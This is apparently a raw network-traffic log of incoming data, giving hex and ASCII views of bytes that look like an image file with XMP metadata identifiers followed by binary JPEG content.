2022-07-20 13:44:28 UTC	7441	IN	Data Raw: 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 37 44 33 36 39 34 34 33 32 32 30 36 38 31 31 38 30 38 33 45 36 44 38 33 31 32 42 31 38 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 37 44 39 45 43 36 38 35 44 36 46 45 30 31 31 38 38 30 36 44 43 41 43 34 43 46 46 46 33 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 37 45 45 41 43 36 36 33 38 32 30 36 38 31 31 39 31 30 39 45 34 41 34 33 43 45 35 33 30 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 38 31 32 41 33 37 31 46 43 34 43 44 46 31 31 42 45 35 35 39 32 36 37 46 35 33 41 30 42 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 Data Ascii: 59</rdf:li> <rdf:li>xmp.did:E7D36944322068118083E6D8312B1897</rdf:li> <rdf:li>xmp.did:E7D9EC685D6FE0118806DCAC4CFFF36E</rdf:li> <rdf:li>xmp.did:E7EEAC66382068119109E4A43CE530D0</rdf:li> <rdf:li>xmp.did:E812A371FC4CDF11BE559267F53A0BAF</rdf:li> <rdf:li>xmp
2022-07-20 13:44:28 UTC	7457	IN	Data Raw: 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 41 34 38 30 39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 43 41 46 46 41 38 31 44 33 34 33 45 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 44 45 35 39 33 45 35 32 30 38 41 42 30 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 45 35 35 38 43 36 41 38 46 46 43 30 38 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 46 35 41 39 30 30 Data Ascii: F77F117407206811AB08A48091F1675E</rdf:li> <rdf:li>xmp.did:F77F117407206811ACAFFA81D343EDA5</rdf:li> <rdf:li>xmp.did:F77F117407206811ADE593E5208AB01B</rdf:li> <rdf:li>xmp.did:F77F117407206811AE558C6A8FFC08B3</rdf:li> <rdf:li>xmp.did:F77F117407206811AF5A900
2022-07-20 13:44:28 UTC	7465	IN	Data Raw: 37 34 30 37 32 30 36 38 31 31 41 43 41 46 46 41 38 31 44 33 34 33 45 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 38 35 30 44 34 32 30 39 32 30 36 38 31 31 39 37 38 35 38 30 37 37 46 33 31 41 30 32 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 38 39 34 31 42 31 42 38 32 30 36 38 31 31 38 38 43 36 45 31 32 44 42 30 33 32 37 31 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 39 32 45 46 36 46 32 43 32 30 36 38 31 31 39 32 42 30 39 34 46 41 36 37 46 36 43 44 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 39 39 38 43 42 32 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 Data Ascii: 7407206811ACAFFA81D343EDA5</rdf:li> <rdf:li>xmp.did:FA850D420920681197858077F31A0299</rdf:li> <rdf:li>xmp.did:FA8941B1B820681188C6E12DB032715C</rdf:li> <rdf:li>xmp.did:FA92EF6F2C20681192B094FA67F6CD06</rdf:li> <rdf:li>xmp.did:FA998CB20720681192B0E90D048EA
2022-07-20 13:44:28 UTC	7481	IN	Data Raw: 69 64 3a 62 32 65 66 61 33 37 61 2d 39 61 38 37 2d 33 34 34 38 2d 61 38 33 35 2d 37 31 61 36 38 35 37 65 32 62 66 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 33 30 30 37 62 32 30 2d 32 66 32 39 2d 34 65 65 37 2d 38 63 63 32 2d 64 62 32 35 61 35 66 66 37 32 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 33 30 35 63 32 39 39 2d 33 62 32 37 2d 34 65 30 30 2d 61 39 65 63 2d 66 34 32 35 64 35 30 32 32 39 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 33 34 62 39 65 37 33 2d 33 39 63 31 2d 34 31 37 30 2d 61 36 34 66 2d 32 63 37 62 63 33 37 39 39 64 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 33 39 36 Data Ascii: id:b2efa37a-9a87-3448-a835-71a6857e2bf8</rdf:li> <rdf:li>xmp.did:b3007b20-2f29-4ee7-8cc2-db25a5ff7277</rdf:li> <rdf:li>xmp.did:b305c299-3b27-4e00-a9ec-f425d5022997</rdf:li> <rdf:li>xmp.did:b34b9e73-39c1-4170-a64f-2c7bc3799d84</rdf:li> <rdf:li>xmp.did:b396
2022-07-20 13:44:28 UTC	7497	IN	Data Raw: 2d 36 61 34 64 2d 61 65 33 37 2d 37 33 65 33 30 65 65 37 34 64 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 35 66 30 61 39 66 2d 65 36 38 39 2d 38 30 34 61 2d 62 36 64 62 2d 35 61 61 61 61 64 36 36 35 33 32 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 38 64 31 62 61 34 2d 62 32 35 66 2d 63 38 34 64 2d 38 33 34 64 2d 62 38 36 65 32 35 62 33 39 36 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 38 66 32 33 31 31 2d 61 37 65 35 2d 34 34 63 30 2d 62 61 32 36 2d 61 66 66 64 62 65 31 36 65 62 33 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 39 33 36 35 63 33 2d 63 36 34 61 2d 34 32 61 65 2d 38 Data Ascii: -6a4d-ae37-73e30ee74d39</rdf:li> <rdf:li>xmp.did:e05f0a9f-e689-804a-b6db-5aaaad66532f</rdf:li> <rdf:li>xmp.did:e08d1ba4-b25f-c84d-834d-b86e25b396d9</rdf:li> <rdf:li>xmp.did:e08f2311-a7e5-44c0-ba26-affdbe16eb3e</rdf:li> <rdf:li>xmp.did:e09365c3-c64a-42ae-8
2022-07-20 13:44:28 UTC	7504	IN	Data Raw: 61 32 38 30 63 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 35 66 31 34 34 38 36 2d 37 36 36 62 2d 35 31 34 30 2d 39 38 64 32 2d 62 65 62 63 63 63 61 65 39 39 62 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 35 66 39 38 38 39 34 2d 39 36 30 36 2d 63 65 34 65 2d 39 30 30 32 2d 38 31 62 34 31 62 38 65 35 36 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 35 66 62 38 36 65 30 2d 39 38 35 61 2d 34 34 38 64 2d 38 65 66 65 2d 30 34 35 33 66 34 35 35 32 38 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 31 36 35 36 36 36 2d 31 65 64 62 2d 34 39 36 37 2d 38 36 37 37 2d 65 65 66 30 30 66 39 64 33 36 30 31 Data Ascii: a280c15</rdf:li> <rdf:li>xmp.did:f5f14486-766b-5140-98d2-bebcccae99b0</rdf:li> <rdf:li>xmp.did:f5f98894-9606-ce4e-9002-81b41b8e562b</rdf:li> <rdf:li>xmp.did:f5fb86e0-985a-448d-8efe-0453f4552849</rdf:li> <rdf:li>xmp.did:f6165666-1edb-4967-8677-eef00f9d3601
2022-07-20 13:44:28 UTC	7520	IN	Data Raw: 01 3d 49 3f b5 cf e0 c0 c9 ca 01 62 0b 1e 40 54 05 23 e2 af fb b1 97 15 56 58 4c 64 bf da 0d b5 49 14 a7 f9 18 19 35 1a 05 fe ee 82 45 35 ad 3f e2 1c 7f 69 3f 69 b0 db 12 15 24 55 b8 05 ca 82 48 a9 a0 1f f0 51 ff 00 c6 56 ff 00 9b 30 89 53 59 85 aa 49 a3 c5 24 20 1f de 32 a9 e1 c7 f7 7d 7e ca 7e ef fe 1d f2 cb b6 83 06 17 7f 7b 25 90 42 65 e6 0d 48 e3 f1 2f c3 fc df ec b0 08 db 89 28 d2 c8 35 68 b8 99 24 f8 5f 61 b9 da ad fe 4a 9c 06 0d 68 c7 be 20 05 32 8e 0c 68 0d 01 00 ff 00 ba fd 3c 00 24 24 5a ea 5c 48 f1 2c de 99 75 14 32 28 dd a9 fb 1c 57 e1 f8 7f e1 f3 26 3b 22 48 fd 0a 69 20 da 65 e4 3a 86 03 af f3 66 3e 41 7c 96 3b 32 43 74 b2 0e 54 a8 e8 68 3b ff 00 36 63 36 19 5a 5f ad cb 27 0f dc 16 56 53 5e c6 bf b3 fe bf c7 fc f9 66 36 25 04 d0 89 60 59 26 Data Ascii: =I?b@T#VXLdI5E5?i?i$UHQV0SYI$ 2}~~{%BeH/(5h$_aJh 2h<$$Z\H,u2(W&;"Hi e:f>A\|;2CtTh;6c6Z_'VS^f6%`Y&
2022-07-20 13:44:28 UTC	7536	IN	Data Raw: 03 1d 42 c5 53 15 6a 5d 7b 7f 93 c7 29 21 b0 2e bc bc 7b 62 a6 31 ea 2a 11 4e 63 e2 07 00 8d b3 08 88 35 09 1a 42 66 52 79 ec 48 ed 5f e6 5c 4c 5b 22 8f ba b9 6b 05 0e af 58 c9 00 50 10 b4 3f ef cf f8 b3 20 05 b6 cb 65 b2 c5 a9 11 fe 8b 04 bc 58 55 5e 95 0b ff 00 36 b6 48 44 75 61 c2 5b 8a 4b e8 08 7b a8 a4 8a 9d 79 2f 1e 9f 0b 48 ef f6 32 12 88 60 41 0b 66 49 27 65 94 31 40 bb 1f 06 af fa 9f f1 3c 85 53 0b 5f 6f 2d 39 18 d8 86 04 07 23 ae 44 85 b5 39 63 25 cf a8 c4 97 34 a5 7f e6 8c 21 54 8d 84 f0 0e 36 f3 48 58 0e 87 f7 89 ff 00 05 93 e2 ef 42 19 9e ec 12 6e 19 05 29 40 56 87 fc a7 cb 36 e8 a8 fb 59 4d 55 4b 0d c8 3b ec 4a ff 00 93 90 21 55 8b 7a 49 42 c0 f2 3d d7 97 fc 17 ec fa 79 1a 55 38 ee 2d 2d dc bc 2c 2a fb 1a 57 76 ff 00 27 96 24 14 db 6f 7c eb Data Ascii: BSj]{)!.{b1Nc5BfRyH_\L["kXP? eXU^6HDua[K{y/H2`AfI'e1@<S_o-9#D9c%4!T6HXBn)@V6YMUK;J!UzIB=yU8--,Wv'$o\|
2022-07-20 13:44:28 UTC	7544	IN	Data Raw: 6a df bd 6f f8 b5 64 c7 8e 98 90 0a 09 52 f7 ea af 0c b2 cc e8 aa 55 0b d1 9f 8b fd bf 4a ed 3f 63 f9 20 7f b1 87 8e d0 05 25 b2 34 f6 91 1b 72 ce cb 4a a9 e3 54 e4 7f 69 5d f8 7a 0c df b7 92 26 d8 13 48 e8 64 33 44 af 05 44 aa e8 47 22 6a bc 4f c0 fc 94 ba 7d af f8 4f b7 95 dd 32 e2 04 22 22 bc d4 b9 34 62 49 5a 49 3f 65 9f 92 fe f3 ed a2 fe c2 7f c6 98 7c 46 36 12 b1 a7 c9 ea 10 de a9 6d fe 30 4b 00 7f 65 5a 16 e7 1f 0e 5f 6f 22 67 6e 3c a5 6d c3 63 34 0e ac 1f 81 5e ac ac 07 26 ff 00 8c 6d fe 5e 37 6d 62 4e 6b 04 b9 0a f3 4b 57 04 82 ae ca e1 47 ec f1 f4 97 e0 e7 fb 78 78 a9 26 56 83 bb d1 dd 5d 82 ce b3 6c 08 62 a6 33 43 fe eb f4 d7 97 d8 fd 8f f7 e6 48 4c 30 b4 4c 5a 67 d5 5d 65 b8 f4 df 88 06 a8 0b 54 1f d9 e0 bf 0f 3f e6 f8 13 12 6f 93 76 c8 a8 75 Data Ascii: jodRUJ?c %4rJTi]z&Hd3DDG"jO}O2""4bIZI?e\|F6m0KeZ_o"gn<mc4^&m^7mbNkKWGxx&V]lb3CHL0LZg]eT?ovu
2022-07-20 13:44:28 UTC	7560	IN	Data Raw: 6c 31 49 4c f2 10 4c e8 02 31 e3 c4 d4 71 af d8 92 44 5f d8 cb 69 a8 84 72 6a 8d 6e ab 08 89 56 8b dc 6e 3f ea a7 f3 60 e1 b6 a2 14 e5 d4 a4 31 a4 94 3c 01 34 24 06 25 8f c3 c9 db 97 f7 9f c9 87 85 94 51 6d ad b7 2f 8c ba 81 40 1b a1 e9 fc 99 5f 03 35 d3 6a c5 d0 a4 64 00 db d1 a8 4f c3 f6 70 70 21 20 7b 06 90 b4 b3 2f 27 95 8b 0a 1a b7 4f b1 23 7e c7 fb f3 8e 5d c7 4b 68 a8 6c c5 ba 22 ab 02 4f c4 a0 0f f3 e1 87 8a d2 0a 66 b2 45 2b c8 83 71 12 8f b8 7d a4 ff 00 83 c8 10 ce da b5 bf 7f b2 3f b9 ef 4a f5 1f 6b 8f f9 39 19 63 65 68 c9 67 4b 74 0f 17 1f 88 7c cd 32 02 36 82 50 36 f7 ca 50 85 65 59 18 54 ef be df b3 fe b6 5a 60 c6 d2 a9 e5 9a 52 cd b8 4d c3 21 ef fe b6 5c 05 2a 03 eb 0f 33 2c 4c c7 f7 5d 32 74 b4 8c 92 44 34 f8 b9 72 a0 d8 1e bf e5 64 69 14 Data Ascii: l1ILL1qD_irjnVn?`1<4$%Qm/@_5jdOpp! {/'O#~]Khl"OfE+q}?Jk9cehgKt\|26P6PeYTZ`RM!\*3,L]2tD4rdi
2022-07-20 13:44:28 UTC	7576	IN	Data Raw: f7 5f f3 e4 89 a6 51 8b 20 b8 d0 fe b7 ac 08 5c 15 64 82 36 97 89 08 58 2a fc 5e 83 7f 93 fd df f3 ff 00 c4 f2 91 3a 8a 98 6f 4c 79 d2 f1 64 e4 bc 8a f2 24 0a ee 54 1f b0 dc bf 6b 86 5b b2 38 4b ff d5 4e e2 78 20 02 48 db 8f c3 4a 10 48 35 f8 53 e2 cd 40 04 b0 b4 b9 ee 0c 3e 93 22 fe ee 5f ef 00 15 07 8d 7e c3 ff 00 93 fd e4 89 96 70 da 92 81 8d e5 5b a3 70 cc 64 8e 95 25 fa 03 fc ff 00 f1 8f 26 46 d4 c5 6e aa d3 0a 94 75 0a 47 3a 29 fd 9f d9 f4 f9 7e f3 e1 c3 8c 04 5d a4 ed 7a d3 8f 52 42 58 a8 dd bb 81 fe 4f f9 1f e4 e5 fc 34 8a 45 69 ef 0d e1 e5 2c 86 37 8d 6b c8 ad 50 0f f7 5f a9 bf 2c 84 ee 3c 93 c2 eb ab f2 a4 48 e0 39 15 a6 fc 94 d3 fc 8f f7 5b 61 8c 6d 8f 0b 96 54 bc 5f de a1 e4 47 10 cd d4 d7 e2 e4 bc 7e 1e 58 6a 92 22 98 e9 96 fc ed 5e e9 9e 15 Data Ascii: _Q \d6X*^:oLyd$Tk[8KNx HJH5S@>"_~p[pd%&FnuG:)~]zRBXO4Ei,7kP_,<H9[amT_G~Xj"^
2022-07-20 13:44:28 UTC	7584	IN	Data Raw: 2a cc aa 63 8c 6c 19 1b af fa a9 96 03 68 6e c9 99 2a 69 ca 31 ba 9a 0a 1f f3 ff 00 7d e0 92 42 34 cb 1a fc 6b 1a 99 49 df 91 eb fc 99 06 56 8f 6b cb c9 d4 5b 92 b1 a1 d8 a9 3c 02 9f d9 fd e2 7e c6 36 93 22 a7 79 68 fa 6c 65 5c 7e f6 44 f8 5d 09 91 9c 57 e2 f4 59 5a 5c 90 04 a0 ca 92 86 d1 24 58 4d cd c8 78 4b ee ae c0 fd af da 59 51 bf e4 e6 5b 6d 77 6a d6 16 85 4a ca 93 06 60 38 b0 3f 0d 07 fb 1f b5 ea ff 00 3e 42 45 21 75 ee 99 0d c4 cb 21 47 e9 d5 17 9d 29 f6 72 22 44 2a 31 74 e8 60 41 c9 c8 00 f2 a0 aa d4 ff 00 b3 f8 f2 3c 49 5b 0e bb 1c 53 18 61 50 e3 8d 41 a8 07 fc d7 07 07 54 71 52 d8 f5 a5 b8 b9 16 f3 c7 e9 80 d4 2d 5a 9d fe c7 c0 9f b3 fe 5a 64 bc 3d ad 90 36 9a 4d a6 46 e0 84 94 10 7b ae e1 6b fc eb 27 d8 f8 b2 1c 92 62 95 c9 69 73 18 53 cc 4a Data Ascii: clhni1}B4kIVk[<~6"yhle\~D]WYZ\$XMxKYQ[mwjJ`8?>BE!u!G)r"D*1t`A<I[SaPATqR-ZZd=6MF{k'bisSJ
2022-07-20 13:44:28 UTC	7600	IN	Data Raw: 6b fe c3 00 95 33 02 d4 cc 91 7a 72 47 25 55 e2 a3 b7 d3 fc ad fc b8 b0 91 a4 86 ea 76 84 52 33 ce 80 94 a8 f8 55 29 c9 bd 54 5f ef 5f 32 00 b7 1d 01 3c 12 15 59 fd 44 21 80 e5 1c 8b c4 f2 a7 ec ff 00 c5 70 fe c2 7e de 5c 15 1c 97 0f 22 fa 52 90 01 60 a4 fd 9f 50 81 f6 3f e0 30 1d 90 a9 6f 1c cc dc 99 b9 38 42 00 ad 43 57 e1 48 b8 a7 c4 9c 7f 6e 5c a2 52 62 4a 41 38 b9 43 34 2e 81 4a 1e 4c 2b 5e 25 7f df 6f fc 99 92 28 ee 94 2c aa 1c 2b ab 90 e4 1e 5c 88 1b ff 00 c5 7c 7f c8 c9 80 90 88 82 fb 89 56 90 97 60 36 a7 fc 47 fe 6e c1 c2 b4 88 8b 56 b5 9b f7 73 c5 55 2d 52 6a 6b 51 ff 00 0d f0 60 e0 48 8b 53 48 bf 6e dd aa ed f6 55 8f 3a 0c 34 92 87 8a ea 36 66 65 8c a0 ae ca 0d 78 ff 00 3f f9 58 d3 04 c2 2b f3 42 39 10 a7 b7 5a ff 00 95 fe 4a 60 e1 64 99 59 4e Data Ascii: k3zrG%UvR3U)T__2<YD!p~\"R`P?0o8BCWHn\RbJA8C4.JL+^%o(,+\\|V`6GnVsU-RjkQ`HSHnU:46fex?X+B9ZJ`dYN
2022-07-20 13:44:28 UTC	7616	IN	Data Raw: d2 a4 fd ae 59 00 59 25 de 93 5c 31 8a 5a 8f f2 a9 bd 32 5c 98 b7 15 a4 b6 a4 94 6a 82 08 af 72 3f 97 fc 9c 49 b4 2b c9 68 f2 af a9 0d 59 40 e3 be dd be 2e 59 10 6b 9a 69 0a 91 bc 4d c1 d4 f2 da be 1c 3f 65 13 24 77 4d 22 e3 ba 7e 6d 51 b1 6f f9 bb 23 c2 8a 55 b6 ba 82 6a b0 23 93 0e 23 dc 29 f8 f0 90 42 d3 57 56 ae e8 d3 1a 80 1b 6e 9f ea e1 05 98 d9 09 e5 ab 69 60 d4 0b 12 78 84 73 5e c6 bf 65 79 64 b2 1b 0d f8 0f a9 94 fa 53 5a 49 f5 bb 60 19 8a d5 e2 3b 19 14 ff 00 be 99 bf e3 e5 7f dd 7f ef ff 00 ee 73 18 ef b3 9e 76 dc 24 5a ab c4 5e 29 20 20 a7 36 02 9f ca df 1f fc 15 bc bf ba 6c 60 3b dd 46 a2 ba 31 cd 3a f3 d2 e5 23 7c 4a cc c7 e9 07 ed ff 00 c1 ff 00 77 ff 00 16 66 54 e3 6e 2c 82 36 da ee 45 98 dc b9 e5 7b c6 91 a9 fb 30 33 7f bb bf e2 cb 98 a3 Data Ascii: YY%\1Z2\jr?I+hY@.YkiM?e$wM"~mQo#Uj##)BWVni`xs^eydSZI`;sv$Z^) 6l`;F1:#\|JwfTn,6E{03
2022-07-20 13:44:28 UTC	7624	IN	Data Raw: 93 2a 11 6e 41 41 70 b6 e8 c8 37 2d f1 1e bb e4 88 b5 4b ef ac fd 78 9a 57 5e 24 d0 fb 0a ff 00 cd 2b 96 44 d3 02 18 ea 40 25 2e ef cb 82 d2 a0 1e 22 9f cb 97 13 4c 4a 92 88 f7 05 59 7b 8d ff 00 e0 72 48 51 48 98 c9 ea 6d 51 fb 35 c9 25 37 96 6b 6b 68 42 ac 7f e9 44 12 cf b7 05 1f b1 c3 fc ac a4 02 7f aa 84 db ca ce 97 9c ed c9 f8 d1 01 40 7b af fb b7 29 cb e9 dd b7 1c a9 3c b9 d1 bd 56 d8 0e 22 b4 a0 1d 72 a1 96 9b f8 d5 23 b6 b6 82 2f ab c8 01 26 85 f9 6f d3 97 2c 84 b2 12 6d 81 c8 d4 b1 46 62 2d 00 e0 a2 82 a0 71 03 f6 be 2f f5 bf dd 71 e4 44 af 9b 03 34 04 31 8b a8 99 83 b1 74 a5 41 14 fb 5f e7 f1 e6 44 4d 17 23 0c ad 18 d6 ce 96 e8 ab 5d 8b 3b 7c be 04 5c c8 12 6c 92 0a da fd 23 67 12 29 66 90 85 42 37 1b 7e cf 06 cc 7c b1 32 68 24 a1 45 f9 e4 f5 40 Data Ascii: *nAAp7-KxW^$+D@%."LJY{rHQHmQ5%7kkhBD@{)<V"r#/&o,mFb-q/qD41tA_DM#];\|\l#g)fB7~\|2h$E@
2022-07-20 13:44:28 UTC	7640	IN	Data Raw: bc a2 a6 32 04 ac 43 2f c2 5b b3 7d ae 5f f1 a6 54 75 5e 4c 2d 5e db cb 16 d1 48 ad 21 2f 19 04 d1 ba ff 00 ab cb 21 2d 41 23 64 5a a7 e8 3b 64 3c 1c 54 1d 87 fa a3 e2 f8 b2 3e 31 28 b5 5b 0d 22 de 08 c9 60 09 0c 05 1b a7 5f b7 ff 00 34 60 9e 52 56 d1 71 c1 67 18 09 1a 2a ef b8 a0 a1 af da ca cc a4 53 6b a5 9a d8 d0 85 1c 86 d5 03 b7 ec fc 3f e4 e2 38 93 6a eb 7b 0a 55 88 06 a2 9b f4 c1 45 3c 4a 22 ee 30 38 05 05 06 fb f8 9f da ff 00 65 92 dd 3c 4a 77 0d f5 f8 f8 b0 3e a2 1d aa 7a 30 ff 00 8d 72 e8 9a 6e 13 b4 9a 5b bb fb 6f b4 16 a2 81 39 20 27 f9 7f bd 61 99 20 02 82 50 f6 fa 85 d8 93 9d d5 1d 54 8f 70 dc bf 9b f9 d1 b0 98 8e 8c 42 78 24 8a 18 43 d9 10 8a b5 23 85 79 a9 6f b5 ca 2e 7f bf 46 7f e4 6c af de e4 99 8a 4b 23 ba bd bc 90 b7 21 c3 60 b2 6f 5a Data Ascii: 2C/[}_Tu^L-^H!/!-A#dZ;d<T>1(["`_4`RVqg*Sk?8j{UE<J"08e<Jw>z0rn[o9 'a PTpBx$C#yo.FlK#!`oZ
2022-07-20 13:44:28 UTC	7656	IN	Data Raw: 63 b3 be b7 79 e3 b8 b7 67 35 92 6b 45 0e 15 83 7e dc 6c cb c6 de f2 17 ff 00 77 45 fd df fc 62 fd de 42 24 c4 b3 20 10 8b d0 fc bd a7 5b 46 6e 3e b9 0b 2a 32 ba 09 29 5a a1 47 91 d3 ed 7a d0 dc 45 fe 8d ff 00 37 be 33 91 4c 60 3a b2 28 e3 82 48 97 d2 48 64 8e ae 53 e1 f8 63 76 fd e3 71 85 be c7 a8 d9 48 72 40 0c 6b 54 75 b9 76 54 24 3a d7 97 23 f1 6d fb 31 ff 00 2f 1c c9 88 a6 b2 2d 25 b9 31 c5 40 6a bb 82 7e 7f b0 d9 63 02 81 d4 5c dc 33 42 8a 6a fb a8 1f 11 26 9c fe 1f e6 e7 84 06 24 a1 65 9c de 18 dc 2f 26 64 54 a0 15 27 88 e3 f6 57 1e 48 26 d1 ff 00 a2 91 2e 38 5b c3 3b c3 24 7f 02 90 55 bd 4e 3f be f8 be 3e 51 c5 27 c7 fe 5f d8 c4 ca f9 35 10 99 ea 5a 2c b2 e9 f6 76 56 ca 1e ed 5d 95 f8 f4 3e a7 ef 3e 37 f8 53 f7 19 5c 72 0b 49 a4 ea da c2 c2 d6 19 Data Ascii: cyg5kE~lwEbB$ [Fn>*2)ZGzE73L`:(HHdScvqHr@kTuvT$:#m1/-%1@j~c\3Bj&$e/&dT'WH&.8[;$UN?>Q'_5Z,vV]>>7S\rI
2022-07-20 13:44:28 UTC	7663	IN	Data Raw: 83 09 dd 19 46 cf 38 8e cc ba 96 e8 14 57 36 36 eb 38 53 fd 13 cb 42 41 1d d5 fa 33 47 29 a4 10 2f f7 b7 2d fe af fb aa c9 3f dd b7 0f 93 01 14 ce 7f e3 8b 30 92 64 4b ad 64 ad 23 84 1a c1 63 19 1c 13 d4 e1 fe ec e1 ff 00 3d e4 fb 1f ba 87 19 4b 85 44 6d 11 a7 e9 2f cd ae ee 9b d6 ba 92 9c dd bd be ca 22 7d 98 a1 8f fd d5 0c 7f 02 66 0c e7 6e 5c 23 49 ea c3 c4 0e 94 39 5b 35 e2 2d b9 1c 55 0b 7d a7 8b c1 e9 4a a0 83 4f 98 ff 00 29 5b f9 97 24 0d 20 8b 42 5e 46 2e 02 5a ea d2 18 e6 4d ad 75 00 3e 34 27 ec c1 a8 7e cc 91 3f d8 7e 7f b9 9b fd d9 e9 4f fb dc cb 86 47 12 70 ae 49 2d dd ac d6 77 06 ca fa 3f 4e e7 ad 16 a6 39 57 fe 5a 6c 1f fe 4f 5b bf ef a1 cb c1 6a 43 af 25 aa d0 d0 9a 03 85 0e 92 78 e3 24 d3 83 a8 dd 88 aa b0 3f cc bf c9 fe 4e 62 64 cd c2 69 Data Ascii: F8W668SBA3G)/-?0dKd#c=KDm/"}fn\#I9[5-U}JO)[$ B^F.ZMu>4'~?~OGpI-w?N9WZlO[jC%x$?Nbdi
2022-07-20 13:44:28 UTC	7679	IN	Data Raw: 40 81 8a b0 05 a8 1b fb b8 78 c2 df 6b e0 fd e4 5c ff 00 bc f8 f3 14 d8 e8 e2 12 52 f8 56 6b 72 56 7e d4 e2 36 fe ef f6 39 fa 4d 22 ab ff 00 b2 f8 32 cd ba 3b 3d 3f 24 5c 37 42 b4 04 11 e1 4a 53 22 43 96 0a 22 3b 90 41 24 6f de 98 29 36 87 fd 2b 6c ac 54 30 e4 7b 56 bd 72 5c 05 87 18 46 1b a4 95 4a 2b 07 34 26 a3 c0 7f 95 90 aa 6c 06 d6 94 08 00 de 84 d7 ee c2 12 96 16 63 70 d4 1b f2 fc 33 27 a3 88 79 a6 81 00 1b 75 eb d7 31 cb 96 17 ab 85 1c 8e e0 11 5a 7f cd 59 14 ae 5b 85 02 bd fd ce f8 69 89 2a 12 5f fa 36 de 8c 3f 0b 72 df 7e a6 bf 65 bf 97 2a 94 6e 5b ba cc 9c d4 6c 6e 0d bb 5b bc 8a ca cb 35 7b fe c2 c9 c1 bf e4 73 66 5c 57 8a d9 07 af 0c e5 51 64 f4 eb 50 28 39 2d 7e d7 a2 df f1 5f da f8 f2 c0 8b 4b ef 2c cc ab f1 6d ca 4a 1a 8e 80 fc 31 48 df e4 Data Ascii: @xk\RVkrV~69M"2;=?$\7BJS"C";A$o)6+lT0{Vr\FJ+4&lcp3'yu1ZY[i_6?r~en[ln[5{sf\WQdP(9-~_K,mJ1H
2022-07-20 13:44:28 UTC	7695	IN	Data Raw: 38 45 24 f8 83 28 20 28 60 a2 83 e2 e5 27 2f da 5c 55 0d 0e 9d 3d f2 72 e2 42 03 41 42 09 66 fe 69 1b fd 5f d8 c0 aa d3 69 de 84 04 f1 a8 45 27 f7 a6 ac 83 f6 be 36 f8 3e 2c 50 a3 69 73 2c 51 45 1f 1a 50 8a 13 d8 fd a5 e5 c7 97 0f b7 fe a6 14 a6 90 1b a9 5f a5 64 8a 85 78 ee 29 fe 57 fc 9c c1 6a c5 60 b9 47 d6 a6 86 71 b2 c6 15 40 a7 db 27 d5 f5 3f d9 72 f8 b3 13 3b 76 32 01 dd 42 4b cb 4f 58 10 a6 49 0e cd 43 c6 86 bf 0c 91 e6 31 05 12 c8 2f 66 ef e5 30 3f af 10 5e 0c 68 c8 07 c5 fc ca d3 7f b1 c1 1d f9 b0 94 f7 5c 8b 6a cc 39 71 0c 69 cb 6a ff 00 c4 72 c2 dc 28 a4 ba 8d 94 ba a1 4b 58 00 0f ea 48 7e 22 15 69 44 f8 b9 bf c3 fb 39 7c 0d 30 98 b4 d3 48 b3 